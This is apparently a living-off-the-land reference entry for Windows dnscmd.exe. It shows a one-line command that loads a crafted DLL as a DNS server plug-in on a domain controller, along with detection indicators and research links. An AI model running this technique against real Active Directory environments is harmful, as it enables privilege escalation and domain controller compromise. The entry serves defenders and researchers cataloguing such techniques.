01 / TRADECRAFT
1 examplesCommand reference
Execute1
EXAMPLE 01T1543.003
Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
COMMAND
dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}02 / ON DISK
Known paths
C:\Windows\System32\Dnscmd.exeC:\Windows\SysWOW64\Dnscmd.exe03 / DEFENSIVE INTELLIGENCE
1 resourcesDetection & indicators
Indicators & detection notes
- IOC
Dnscmd.exe loading dll from UNC/arbitrary path
FURTHER READING
Research & resources
- READfeature not bug dnsadmin to dc compromise in one line a0f779b8dc83medium.com
- READhunting dns server level plugin dll injectionblog.3or.de
- READdns plugindll vcppgithub.com
- READResearch by @Hexacorntwitter.com
- READabusing dnsadmins privilege for escalation in active directorywww.labofapenetrationtester.com
COMMUNITY RESEARCH
Acknowledgements
Shay Ber
Dimitrios Slamaris@dim0x69
Nikhil SamratAshok@nikhil_mitt